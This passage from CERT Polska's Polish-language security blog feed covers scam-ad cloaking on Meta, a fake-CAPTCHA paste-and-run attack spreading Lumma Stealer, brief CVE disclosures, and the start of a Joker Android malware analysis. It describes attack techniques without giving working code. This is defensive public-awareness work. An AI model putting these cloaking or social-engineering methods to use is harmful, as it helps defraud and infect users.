&lt;p&gt;Nowe reklamy pojawiają się codziennie, często przy użyciu tych samych stron w ramach platformy Facebook. Na platformie Ad Library po odznaczeniu filtra “Aktywne reklamy” można często zauważyć, że w starszych reklamach stwierdzono naruszenie Standardów dotyczących reklam, ale &lt;strong&gt;profil nadal ma możliwość ich publikowania&lt;/strong&gt;.&lt;/p&gt;
&lt;div class="centered-smaller"&gt;
    &lt;img src="/uploads/2024/11/profile-not-blocked.jpeg" /&gt;
&lt;/div&gt;

&lt;div class="image-description"&gt;
Przykład profilu publikującego rozpoznane przez Meta niewłaściwe reklamy, który nadal ma możliwość publikowania reklam.
&lt;/div&gt;

&lt;h3&gt;Metody cloakingu polegające na manipulacji treścią reklamy&lt;/h3&gt;
&lt;p&gt;Przestępcy starają się również aktywnie zmylić algorytmy weryfikujące. Jedna z wykorzystywanych technik polega na umieszczaniu właściwej treści w ramach większego obrazu. Następnie przy wykorzystaniu funkcji oferowanych przez Menedżer reklam, docelowym użytkownikom pokazywany jest wyłącznie fragment zawierający reklamę. &lt;/p&gt;
&lt;div class="centered-smaller"&gt;
    &lt;div class="side-by-side row"&gt;
        &lt;div class="column"&gt;
            &lt;img src="/uploads/2024/11/version-cloaking5.jpeg" /&gt;
        &lt;/div&gt;
        &lt;div class="column"&gt;
            &lt;img src="/uploads/2024/11/version-cloaking6.jpeg" /&gt;
        &lt;/div&gt;
    &lt;/div&gt;
&lt;/div&gt;

&lt;div class="image-description"&gt;
Przykład techniki cloakingu polegającej na umieszczaniu reklamy w ramach większego obrazu.
&lt;/div&gt;

&lt;p&gt;Techniką stosowaną w przypadku filmów jest przeplatanie filmu pojedynczą klatką niezwiązaną z treścią reklamy, tak aby ciężej było odnaleźć odpowiednią wersję reklamy w Bibliotece reklam. Inną stosowaną metodą jest tworzenie bardzo długich filmów (np. o długości 30 minut), gdzie główna treść znajduje się na początku materiału wideo, a reszta stanowi zapętlony statyczny obraz lub niepowiązany z treścią, zapętlony film.&lt;/p&gt;
&lt;div class="centered-smaller"&gt;
    &lt;div class="side-by-side row"&gt;
        &lt;div class="column"&gt;
            &lt;img src="/uploads/2024/11/version-cloaking7.jpeg" /&gt;
        &lt;/div&gt;
        &lt;div class="column"&gt;
            &lt;img src="/uploads/2024/11/version-cloaking8.png" /&gt;
        &lt;/div&gt;
    &lt;/div&gt;
&lt;/div&gt;

&lt;div class="image-description"&gt;
Film reklamowy z alternatywną miniaturą umieszczoną na początku filmu.
&lt;/div&gt;

&lt;p&gt;Mechanizmy reklam na platformie Facebook pozwalają również na &lt;strong&gt;umieszczenie innej domeny w podsumowaniu reklamy&lt;/strong&gt; niż ta na którą w rzeczywistości jest kierowany użytkownik. Jest to aktywnie wykorzystywane przez przestępców, którzy umieszczają w reklamie wiarygodną domenę np. &lt;code&gt;gazeta[.]pl&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Jednocześnie, pomimo wyświetlanego “&lt;code&gt;gazeta.pl&lt;/code&gt;”, użytkownicy &lt;strong&gt;kierowani są pod link zawierający inną domenę&lt;/strong&gt;. Zauważyliśmy, że umieszczenie innego wyświetlanego linku niż docelowy jest funkcją Menedżera reklam, który pozwala ustawić inny wyświetlany link bez weryfikacji czy faktycznie jest on związany z docelowym adresem.&lt;/p&gt;
&lt;div class="centered-smaller"&gt;
    &lt;img src="/uploads/2024/11/fake-gazeta-pl.jpeg" /&gt;
    &lt;img src="/uploads/2024/11/fake-money-pl.png" /&gt;
&lt;/div&gt;

&lt;div class="image-description"&gt;
Przykład wykorzystania funkcji Menedżera reklam do umieszczenia fałszywej domeny w opisie reklamy
&lt;/div&gt;

&lt;h2&gt;&lt;p id="reagowanie"&gt;Reagowanie platform na zgłoszenia użytkowników&lt;/p&gt;&lt;/h2&gt;
&lt;p&gt;Platformy posiadają możliwość zgłoszenia złośliwej reklamy. Platformy firmy Meta pozwalają na wybranie opcji “Zgłoś reklamę”, która umożliwia zgłoszenie oszukańczej treści. Jednocześnie użytkownicy zgłaszają nam, że ich zgłoszenia do firmy Meta często nie są przyjmowane i zostają zamknięte po 7 dniach ze statusem “Nie usunęliśmy reklamy”.&lt;/p&gt;
&lt;div class="centered-smaller"&gt;
    &lt;div class="side-by-side row"&gt;
        &lt;div class="column"&gt;
            &lt;img src="/uploads/2024/11/report-ad-2.jpeg" /&gt;
        &lt;/div&gt;
        &lt;div class="column"&gt;
            &lt;img src="/uploads/2024/11/report-ad-3.jpeg" /&gt;
        &lt;/div&gt;
    &lt;/div&gt;
&lt;/div&gt;

&lt;div class="image-description"&gt;
Przykład braku reakcji portalu Facebook na liczne zgłoszenia oszukańczych reklam.
&lt;/div&gt;

&lt;p&gt;W celu weryfikacji, od stycznia do listopada 2024 testowaliśmy zgłaszanie reklam, które uznaliśmy za oszustwo z poziomu standardowego konta użytkownika Facebook. &lt;strong&gt;Ze 122 zgłoszonych tak złośliwych reklam, tylko 10 zostało usuniętych.&lt;/strong&gt; Dokładniej, w 106 przypadkach (&lt;strong&gt;86,8%&lt;/strong&gt;) zgłoszenia zostały zamknięte ze statusem “Nie usunęliśmy reklamy”, w 10 przypadkach reklama została usunięta, zaś w 6 nie otrzymaliśmy odpowiedzi zwrotnej.&lt;/p&gt;
&lt;h2&gt;Podobne kampanie zaobserwowane w innych krajach&lt;/h2&gt;
&lt;p&gt;Kampanie oszustów z wykorzystaniem dużych platform internetowych nie ograniczają się wyłącznie do polskich użytkowników. Liczne doniesienia medialne wskazują, że podobne działania zaobserwowano praktycznie na całym świecie m.in. w krajach nadbałtyckich (Litwa, Estonia), w Danii, Australii, Nowej Zelandii, Japonii i Korei Południowej. &lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.theguardian.com/technology/2024/oct/02/more-than-9000-scam-facebook-pages-deleted-after-australians-lose-millions-to-celebrity-deepfakes"&gt;https://www.theguardian.com/technology/2024/oct/02/more-than-9000-scam-facebook-pages-deleted-after-australians-lose-millions-to-celebrity-deepfakes&lt;/a&gt; &lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.euronews.com/2024/04/11/danish-celebrities-report-meta-to-police-over-fraudulent-ads"&gt;https://www.euronews.com/2024/04/11/danish-celebrities-report-meta-to-police-over-fraudulent-ads&lt;/a&gt; &lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.lrt.lt/en/news-in-english/19/2143013/lithuania-to-turn-to-ec-as-meta-ignores-calls-to-deal-with-scammers-on-social-media"&gt;https://www.lrt.lt/en/news-in-english/19/2143013/lithuania-to-turn-to-ec-as-meta-ignores-calls-to-deal-with-scammers-on-social-media&lt;/a&gt; &lt;/li&gt;
&lt;li&gt;&lt;a href="https://koreajoongangdaily.joins.com/news/2024-04-01/business/industry/Google-to-crack-down-on-scam-ads-impersonating-celebrities/2015565"&gt;https://koreajoongangdaily.joins.com/news/2024-04-01/business/industry/Google-to-crack-down-on-scam-ads-impersonating-celebrities/2015565&lt;/a&gt; &lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.japantimes.co.jp/news/2024/04/25/japan/crime-legal/meta-sued-in-japan-for-celebrity-scams/"&gt;https://www.japantimes.co.jp/news/2024/04/25/japan/crime-legal/meta-sued-in-japan-for-celebrity-scams/&lt;/a&gt; &lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Szczególnej uwadze warto poświęcić analizę przeprowadzoną przez portal debunk.org, który w dwuczęściowym artykule opisuje przypadki wykorzystania wizerunków znanych portali informacyjnych i celebrytów w reklamach publikowanych na platformach Meta: &lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.debunk.org/the-largest-disinformation-and-scam-attack-ever-recorded-in-lithuania-part-i"&gt;https://www.debunk.org/the-largest-disinformation-and-scam-attack-ever-recorded-in-lithuania-part-i&lt;/a&gt; &lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.debunk.org/the-large-scale-scam-attack-also-exploits-well-known-lithuanian-and-foreign-personalities-part-ii"&gt;https://www.debunk.org/the-large-scale-scam-attack-also-exploits-well-known-lithuanian-and-foreign-personalities-part-ii&lt;/a&gt; &lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Podsumowanie&lt;/h2&gt;
&lt;p&gt;CERT Polska obserwuje coraz większe wykorzystanie platform reklamowych przez oszustów do dystrybucji oszukańczych treści. To wyzwanie, ponieważ oszuści nauczyli się wykorzystywać techniczne słabości tych platform do omijania wbudowanych mechanizmów moderacji. &lt;/p&gt;
&lt;p&gt;Rosnące od wielu lat natężenie zagrożeń związanych z reklamami wskazuje, że problem ten nie jest w odpowiedni sposób adresowany przez właścicieli platform. Firma Meta regularnie publikuje raporty, które przedstawiają, że &lt;a href="https://transparency.meta.com/reports/community-standards-enforcement/fake-accounts/facebook/"&gt;ponad 99% fałszywych kont jest wychwytywanych przez Meta&lt;/a&gt;, a jedynie ułamki procentów są zgłaszane przez użytkowników. Nawiązywane są również liczne współprace z instytucjami walczącymi z cyberprzestępczością i dezinformacją, takie jak np. &lt;a href="https://about.fb.com/news/2024/10/meta-partners-with-uk-banks-to-combat-scams/"&gt;inicjatywa FIRE, czyli współpraca Meta z bankami w Wielkiej Brytanii&lt;/a&gt;. &lt;/p&gt;
&lt;p&gt;Jednocześnie widzimy, że &lt;strong&gt;zgłoszenia użytkowników nie są rozpatrywane z należytą starannością&lt;/strong&gt;, co może być przyczyną ich niewielkiego udziału procentowego w publikowanych raportach. &lt;strong&gt;Mechanizmy transparentności&lt;/strong&gt; takie jak Biblioteki reklam &lt;strong&gt;posiadają znane błędy&lt;/strong&gt; wykorzystywane powszechnie przez przestępców, które powodują, że treść reklamy &lt;strong&gt;nie jest widoczna w Bibliotece lub jest wyświetlana inna treść&lt;/strong&gt; niż w rzeczywistości. Treści reklamowe dodatkowo znajdują swoje &lt;strong&gt;potwierdzenie w linkach sponsorowanych&lt;/strong&gt;, które pojawiają się w odpowiedzi na odpowiednie słowa kluczowe w wyszukiwarce Google.  &lt;/p&gt;
&lt;p&gt;Jednym z rozwiązań jakie mogą być pomocne w wychwytywaniu złośliwych stron w Polsce jest Lista Ostrzeżeń, która od 2020 roku jest wykorzystywana przez operatorów sieci telekomunikacyjnych do blokowania wejść na złośliwe strony internetowe. Każde kliknięcie w reklamę jest realizowane często poprzez tzw. “link śledzący” zanim użytkownik zostanie przekierowany do ostatecznej strony. Jeśli link śledzący nie dopuszczałby do przekierowań pod linki, których domena znajduje się na Liście Ostrzeżeń i automatycznie blokował reklamy kierujące pod takie linki, znacząco ograniczyłoby to skuteczność kampanii prowadzonych przez oszustów.&lt;/p&gt;
&lt;p&gt;We współpracy z innymi CSIRT-ami, staramy się na bieżąco informować właścicieli platform o zagrożeniach dystrybuowanych za pośrednictwem reklam. Nasze działania nie będą jednak w pełni skuteczne bez proaktywnej postawy z drugiej strony. Na poziomie deklaratywnym wydaje się, że ta współpraca układa się dobrze. Patrząc jednak na rzesze oszukanych Polaków i stojące za tymi sytuacjami, często dramatyczne historie ludzi tracących majątki życia, możemy mieć poczucie, że nasz głos, ale też głos obywateli, którzy korzystając z platform obdarzają je zaufaniem, nie jest słyszalny odpowiednio głośno.&lt;/p&gt;
&lt;h2&gt;Przykłady sponsorowanych treści tworzonych przez oszustów&lt;/h2&gt;
&lt;div class="centered-smaller"&gt;
    &lt;div class="side-by-side row"&gt;
        &lt;div class="column"&gt;
            &lt;img src="/uploads/2024/11/meta-dawidowicz.png" /&gt;
        &lt;/div&gt;
        &lt;div class="column"&gt;
            &lt;img src="/uploads/2024/11/meta-duda.png" /&gt;
        &lt;/div&gt;
    &lt;/div&gt;
&lt;/div&gt;

&lt;div class="image-description"&gt;
Przykłady postów sponsorowanych na platformach Meta wykorzystujących wizerunek Pawła Dawidowicza i Andrzeja Dudy do reklamy fałszywej platformy inwestycyjnej
&lt;/div&gt;

&lt;div class="centered-smaller"&gt;
    &lt;img src="/uploads/2024/11/google-inwestowanie.png" /&gt;
&lt;/div&gt;

&lt;div class="image-description"&gt;
Przykład linku sponsorowanego w wyszukiwarce Google pojawiającego się na pierwszym miejscu przy wyszukaniu frazy ”orlen inwestowanie”
&lt;/div&gt;

&lt;div class="centered-smaller"&gt;
    &lt;div class="side-by-side row"&gt;
        &lt;div class="column"&gt;
            &lt;img src="/uploads/2024/11/fake-mz.jpeg" /&gt;
        &lt;/div&gt;
        &lt;div class="column"&gt;
            &lt;img src="/uploads/2024/11/fake-onet.jpeg" /&gt;
        &lt;/div&gt;
    &lt;/div&gt;
&lt;/div&gt;

&lt;div class="image-description"&gt;
W celu uwiarygodnienia przekazu, reklamy prowadzą do stron wyglądających na zaufane.
&lt;/div&gt;</content><category term="News"></category><category term="facebook"></category><category term="meta"></category><category term="reklamy"></category><category term="oszustwo"></category></entry><entry><title>Uwaga fałszywa CAPTCHA, czyli nie daj się zainfekować</title><link href="https://cert.pl/posts/2024/11/Uwaga-falszywa-CAPTCHA-czyli-nie-daj-sie-zainfekowac/" rel="alternate"></link><published>2024-11-20T17:23:00+01:00</published><updated>2024-11-20T17:23:00+01:00</updated><author><name>CERT Polska</name></author><id>tag:cert.pl,2024-11-20:/posts/2024/11/Uwaga-falszywa-CAPTCHA-czyli-nie-daj-sie-zainfekowac/</id><summary type="html">Captcha, czyli „Udowodnij, że nie jesteś robotem” to znany element wielu stron internetowych. Ponieważ nie wzbudza podejrzeń, bywa czasami wykorzystywany przez cyberprzestepców do dystrybucji szkodliwego oprogramowania.</summary><content type="html">&lt;h1&gt;Uwaga fałszywa CAPTCHA, czyli nie daj się zainfekować&lt;/h1&gt;
&lt;p&gt;Captcha, czyli „Udowodnij, że nie jesteś robotem” to coś do czego korzystając z sieci jesteśmy przyzwyczajeni przy wypełnianiu wszelkiego rodzaju formularzy.&lt;/p&gt;
&lt;p&gt;Kiedyś captche były bardzo proste – przepisanie kilku cyfr lub liter w odpowiednie pole. Z czasem, wraz z rozwojem botów, stawały się coraz bardziej skomplikowane. W miejsce przepisania prostego ciągu znaków pojawiły się prośby o dopasowanie obrazka do opisu, zaznaczenia odpowiednich fragmentów większej całości, czy inne czynności, które miały być problematyczne dla botów.&lt;/p&gt;
&lt;p&gt;&lt;img alt="" src="/uploads/2024/11/Captcha1.png"&gt;&lt;/p&gt;
&lt;p&gt;W tej sytuacji prośba o skopiowanie jakiegoś ciągu znaków do schowka, a następnie wciskanie różnych – jasno opisanych – kombinacji przycisków na klawiaturze wygląda jak kolejna odsłona „udowadniania, że jesteś człowiekiem”. Prawda? NIEPRAWDA!&lt;/p&gt;
&lt;p&gt;To atak, który skłania użytkownika do samodzielnego wklejenia i uruchomienia w systemie złośliwego kodu.&lt;/p&gt;
&lt;h2&gt;Jak to działa?&lt;/h2&gt;
&lt;p&gt;Znacie skróty Ctrl+C, Ctrl+V? Z pewnością. Ctrl+C to akcja kopiowania, a Ctrl+V to "wklej".&lt;/p&gt;
&lt;p&gt;&lt;img alt="" src="/uploads/2024/11/Capcha2.png"&gt;&lt;/p&gt;
&lt;p&gt;Do tego duetu warto dołożyć jeszcze skrót Ctrl+X, czyli wytnij. On także pozwala wkleić później wyciętą zawartość w inne miejsce.&lt;/p&gt;
&lt;p&gt;Wspominamy o nich dlatego, że nie każdy je zna. I być może użycie komendy „Wklej” wzbudziłoby więcej wątpliwości, niż wciśnięcie kombinacji klawiszy Ctrl+V.&lt;/p&gt;
&lt;p&gt;A teraz wróćmy do scenariusza ataku.&lt;/p&gt;
&lt;p&gt;Użytkownik trafia na stronę, która pod pozorem Captchy – widać nawet logo łudząco podobne do logo ReCAPTCHA od Google – prosi go o skopiowanie (lub wciśnięcie kombinacji Ctrl+C) do Schowka pewnego ciągu znaków. W niektórych przypadkach nie trzeba nic kopiować, wystarczy kliknąć przycisk „Zweryfikuj”.&lt;/p&gt;
&lt;p&gt;Następnie użytkownik dostaje czytelne instrukcje dalszego postępowania:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Wciśnij kombinację klawiszy Win+R.&lt;/li&gt;
&lt;li&gt;Wciśnij Ctrl+V&lt;/li&gt;
&lt;li&gt;Wciśnij Enter.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;em&gt;Gratulacje! Właśnie uruchomiłeś swój pierwszy złośliwy kod.&lt;/em&gt; – Taki komunikat powinien zobaczyć użytkownik. Zamiast tego, jego komputer staje w tym momencie otworem dla cyberprzestępców.&lt;/p&gt;
&lt;p&gt;Co się tak naprawdę stało?&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Kombinacja klawiszy Win+R otwiera okno „Uruchom”.
Jest to program obecny na każdym komputerze z systemem operacyjnym Windows pozwalający na szybkie uruchomienie dowolnej aplikacji lub pliku.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img alt="" src="/uploads/2024/11/Captcha4.png"&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;Kombinacja klawiszy Ctrl+V wkleja ze Schowka skopiowany wcześniej złośliwy kod w pole programu Uruchom.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Wciśnięcie Enter uruchamia szkodliwy kod infekując komputer.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;To kolejny atak socjotechniczny. Tym razem oszuści podszywają się pod sytuację, którą użytkownicy znają – Captchę. Captcha z definicji ma być odrobinę „skomplikowana”, zatem zestaw czynności, na których bazuje atak może wydawać się użytkownikowi całkowicie uzasadniony.&lt;/p&gt;
&lt;h2&gt;Aktualna kampania – GitHub&lt;/h2&gt;
&lt;p&gt;Najnowsza kampania wykorzystująca ten mechanizm bazuje na pewnej funkcji portalu GitHub. Oszuści wykorzystują "Github issue" służącą do interakcji z autorami repozytorium (i innymi osobami, które zapisały się do otrzymywania takich maili). Utworzenie i dodanie "Issue" automatycznie rozsyła maila z jego treścią. W opisywanym przypadku w treści maila znajduje się link do rzekomego raportu bezpieczeństwa. Dostępu do podlinkowanej strony strzeże opisana powyżej pseudo-captcha. W opisywanej kampanii kod uruchamiany przez użytkownika pobiera oprogramowanie Lumma Stealer służące do wykradania z komputerów poufnych informacji (np. danych uwierzytelniających do różnych usług).&lt;/p&gt;
&lt;h2&gt;Jak się chronić?&lt;/h2&gt;
&lt;p&gt;Najważniejsza rada – &lt;strong&gt;ŻADNA&lt;/strong&gt; prawdziwa Captcha nie będzie wymagała opuszczenia strony internetowej. Wszelkie instrukcje wymagające wciskania kombinacji klawiszy i wykonywania działań w systemie powinny natychmiast wzbudzić podejrzenia.&lt;/p&gt;
&lt;p&gt;Warto pamiętać, że tak jak większość przestępstw to nie genialne morderstwa i „skoki stulecia”, o których czytamy w książkach i gazetach, a raczej drobne kradzieże i akty wandalizmu. Tak samo cyberprzestępstwa to w zdecydowanej większości ataki socjotechniczne bazujące na emocjach lub nieświadomości użytkowników. Dlatego aby być bezpiecznym w sieci, należy niczym kierowca przed przejściem zachować szczególną ostrożność w obliczu treści, które wydają nam się choć trochę podejrzane.&lt;/p&gt;</content><category term="News"></category><category term="Captcha"></category><category term="Aktualne zagrożenia"></category></entry><entry><title>Podatność w oprogramowaniu TCL Camera</title><link href="https://cert.pl/posts/2024/11/CVE-2024-11136/" rel="alternate"></link><published>2024-11-14T16:30:00+01:00</published><updated>2024-11-14T16:30:00+01:00</updated><author><name>CERT Polska</name></author><id>tag:cert.pl,2024-11-14:/posts/2024/11/CVE-2024-11136/</id><summary type="html">W oprogramowaniu TCL Camera wykryto podatność typu Path Traversal (CVE-2024-11136).</summary><content type="html">&lt;h2&gt;Opis podatności&lt;/h2&gt;
&lt;p&gt;CERT Polska otrzymał zgłoszenie o podatności w oprogramowaniu TCL Camera i koordynował proces ujawniania informacji.&lt;/p&gt;
&lt;p&gt;Podatność &lt;a href="https://www.cve.org/CVERecord?id=CVE-2024-11136"&gt;CVE-2024-11136&lt;/a&gt; typu Path Traversal umożliwia usunięcie dowolnych plików z zewnętrznej pamięci masowej użytkownika poprzez dostarczenie przez zewnętrzną aplikację złośliwej ścieżki URI.&lt;/p&gt;
&lt;p&gt;Nie udało nam się skontaktować z producentem oprogramowania. Należy przypuszczać, że podatność występuje we wszystkich wersjach aplikacji TCL Camera.&lt;/p&gt;
&lt;h2&gt;Podziękowania&lt;/h2&gt;
&lt;p&gt;Za zgłoszenie podatności dziękujemy Szymonowi Chadamowi.&lt;/p&gt;</content><category term="CVE"></category><category term="podatność"></category><category term="ostrzeżenie"></category><category term="cve"></category></entry><entry><title>Podatność w oprogramowaniu DInGO dLibra</title><link href="https://cert.pl/posts/2024/11/CVE-2024-7124/" rel="alternate"></link><published>2024-11-14T16:00:00+01:00</published><updated>2024-11-14T16:00:00+01:00</updated><author><name>CERT Polska</name></author><id>tag:cert.pl,2024-11-14:/posts/2024/11/CVE-2024-7124/</id><summary type="html">W oprogramowaniu DInGO dLibra Poznańskiego Centrum Superkomputerowo-Sieciowego wykryto podatność typu Reflected XSS (CVE-2024-7124).</summary><content type="html">&lt;h2&gt;Opis podatności&lt;/h2&gt;
&lt;p&gt;CERT Polska otrzymał zgłoszenie o podatności w oprogramowaniu Poznańskiego Centrum Superkomputerowo-Sieciowego DInGO dLibra i koordynował proces ujawniania informacji.&lt;/p&gt;
&lt;p&gt;Podatność &lt;a href="https://www.cve.org/CVERecord?id=CVE-2024-7124"&gt;CVE-2024-7124&lt;/a&gt; w parametrze &lt;code&gt;filter&lt;/code&gt; w endpoincie &lt;code&gt;indexsearch&lt;/code&gt; umożliwia wykonanie skryptu w przeglądarce użytkownika, który zostanie nakłoniony przez atakującego do użycia spreparowanego linku. 
Podatność występuje w wersjach oprogramowania od 6.0 do wersji 6.3.20, w której została naprawiona.&lt;/p&gt;
&lt;h2&gt;Podziękowania&lt;/h2&gt;
&lt;p&gt;Za zgłoszenie podatności dziękujemy Kacprowi Rybczyńskiemu.&lt;/p&gt;</content><category term="CVE"></category><category term="podatność"></category><category term="ostrzeżenie"></category><category term="cve"></category></entry><entry><title>Podatność w oprogramowaniu terminali PAX POS</title><link href="https://cert.pl/posts/2024/10/CVE-2023-42133/" rel="alternate"></link><published>2024-10-11T12:00:00+01:00</published><updated>2024-10-11T12:00:00+01:00</updated><author><name>CERT Polska</name></author><id>tag:cert.pl,2024-10-11:/posts/2024/10/CVE-2023-42133/</id><summary type="html">W oprogramowaniu terminali PAX POS bazujących na Androidzie wykryto podatność pozwalającą na eskalację uprawnień (CVE-2023-42133).</summary><content type="html">&lt;h2&gt;Opis podatności&lt;/h2&gt;
&lt;p&gt;CERT Polska otrzymał zgłoszenie o podatności w oprogramowaniu terminali płatniczych POS (Point Of Sale) firmy PAX i koordynował proces ujawniania informacji.&lt;/p&gt;
&lt;p&gt;Atakujący, który posiada dostęp do powłoki oraz uprawnienia konta &lt;code&gt;system&lt;/code&gt;, jest w stanie wykorzystać podatność  &lt;a href="https://www.cve.org/CVERecord?id=CVE-2023-42133"&gt;CVE-2023-42133&lt;/a&gt; w celu uzyskania wyższych uprawnień należących do konta &lt;code&gt;root&lt;/code&gt;. &lt;/p&gt;
&lt;p&gt;Podatne są wszystkie terminale POS firmy PAX bazujące na systemie Android i posiadające oprogramowanie w wersji niższej niż PayDroid_8.1.0_Sagittarius_V11.1.61_20240226. &lt;/p&gt;
&lt;h2&gt;Podziękowania&lt;/h2&gt;
&lt;p&gt;Za zgłoszenie podatności dziękujemy Hubertowi Jasudowiczowi, Adamowi Klisiowi oraz pozostałym członkom zespołu STM Cyber R&amp;amp;D. &lt;/p&gt;</content><category term="CVE"></category><category term="podatność"></category><category term="ostrzeżenie"></category><category term="cve"></category></entry><entry><title>Mroczny rycerz powraca: Analiza złośliwego oprogramowania Joker</title><link href="https://cert.pl/posts/2024/10/analiza-joker/" rel="alternate"></link><published>2024-10-01T12:00:00+01:00</published><updated>2024-10-01T12:00:00+01:00</updated><author><name>Kacper Ratajczak</name></author><id>tag:cert.pl,2024-10-01:/posts/2024/10/analiza-joker/</id><summary type="html">Zespół CERT Polska zaobserwował w ostatnich tygodniach nowe próbki złośliwego oprogramowania na urządzenia mobilne "Joker" w Google Play Store wycelowane między innymi w polskich użytkowników.</summary><content type="html">&lt;p&gt;Zespół CERT Polska zaobserwował w ostatnich tygodniach nowe próbki złośliwego oprogramowania na urządzenia mobilne "Joker" w Google Play Store wycelowane między innymi w polskich użytkowników.&lt;/p&gt;
&lt;h2&gt;Podstawowe informacje&lt;/h2&gt;
&lt;p&gt;Złośliwe oprogramowanie Joker, na moment pisania artykułu, nadal było dostępne pod adresem &lt;code&gt;play.google.com/store/apps/details?id=com.onmybeauty.beautycamera&lt;/code&gt;:
&lt;img alt="" src="https://cert.pl/uploads/2024/09/1.png"&gt;&lt;/p&gt;
&lt;p&gt;Aplikacja na dzień analizy ma ponad 100 tys. pobrań i została ostatnio zaktualizowana 17.09.2024 r.
Po pobraniu i instalacji przez użytkownika interfejs nie wygląda groźnie i jest zgodny z opisem z Google Play &lt;code&gt;Aparat kosmetyczny może zastąpić oprogramowanie aparatu w Twoim oryginalnym telefonie, umożliwiając lepsze uchwycenie pięknych wspomnień.&lt;/code&gt; Poniżej, wygląd uruchomionej aplikacji:&lt;/p&gt;
&lt;p&gt;&lt;img alt="" src="https://cert.pl/uploads/2024/09/3.png"&gt;&lt;/p&gt;
&lt;h2&gt;Analiza techniczna&lt;/h2&gt;
&lt;p&gt;Każda aplikacja na Androida zaczyna się od pliku &lt;code&gt;AndroidManifest.xml&lt;/code&gt;. Definiuje on komponenty aplikacji, w tym działania, usługi i uprawnienia. W kontekście analizy kluczową informacją jest ustalenie punktu startowego aplikacji:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;activity&lt;/span&gt; &lt;span class="na"&gt;android:name=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;com.onmybeauty.beautycamera.LoadingActivity&amp;quot;&lt;/span&gt; &lt;span class="na"&gt;android:exported=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;true&amp;quot;&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
            &lt;span class="nt"&gt;&amp;lt;intent-filter&amp;gt;&lt;/span&gt;
                &lt;span class="nt"&gt;&amp;lt;action&lt;/span&gt; &lt;span class="na"&gt;android:name=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;android.intent.action.MAIN&amp;quot;&lt;/span&gt;&lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
                &lt;span class="nt"&gt;&amp;lt;category&lt;/span&gt; &lt;span class="na"&gt;android:name=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;android.intent.category.LAUNCHER&amp;quot;&lt;/span&gt;&lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
            &lt;span class="nt"&gt;&amp;lt;/intent-filter&amp;gt;&lt;/span&gt;
        &lt;span class="nt"&gt;&amp;lt;/activity&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;W przypadku analizowanej aplikacji punktem startowym jest &lt;code&gt;com.onmybeauty.beautycamera.LoadingActivity&lt;/code&gt;. Dlatego tutaj zaczniemy statyczną analizę kodu. Manifest zawarty w pliku apk, pozwala również wyciągnąć dodatkowe informacje, przykładowo na temat uprawnień:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;uses-permission&lt;/span&gt; &lt;span class="na"&gt;android:name=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;android.permission.CAMERA&amp;quot;&lt;/span&gt;&lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;uses-permission&lt;/span&gt; &lt;span class="na"&gt;android:name=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;android.permission.WRITE_EXTERNAL_STORAGE&amp;quot;&lt;/span&gt; &lt;span class="na"&gt;android:maxSdkVersion=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;28&amp;quot;&lt;/span&gt;&lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;uses-permission&lt;/span&gt; &lt;span class="na"&gt;android:name=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;android.permission.INTERNET&amp;quot;&lt;/span&gt;&lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;uses-permission&lt;/span&gt; &lt;span class="na"&gt;android:name=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;android.permission.CHANGE_NETWORK_STATE&amp;quot;&lt;/span&gt;&lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;uses-permission&lt;/span&gt; &lt;span class="na"&gt;android:name=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;android.permission.ACCESS_NETWORK_STATE&amp;quot;&lt;/span&gt;&lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;uses-permission&lt;/span&gt; &lt;span class="na"&gt;android:name=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;com.google.android.gms.permission.AD_ID&amp;quot;&lt;/span&gt;&lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;Analizując punkt startowy w zdekompilowanej aplikacji jesteśmy w stanie wskazać punkty krytyczne dla analizy:&lt;/p&gt;
&lt;p&gt;&lt;img alt="" src="https://cert.pl/uploads/2024/09/4.png"&gt;&lt;/p&gt;
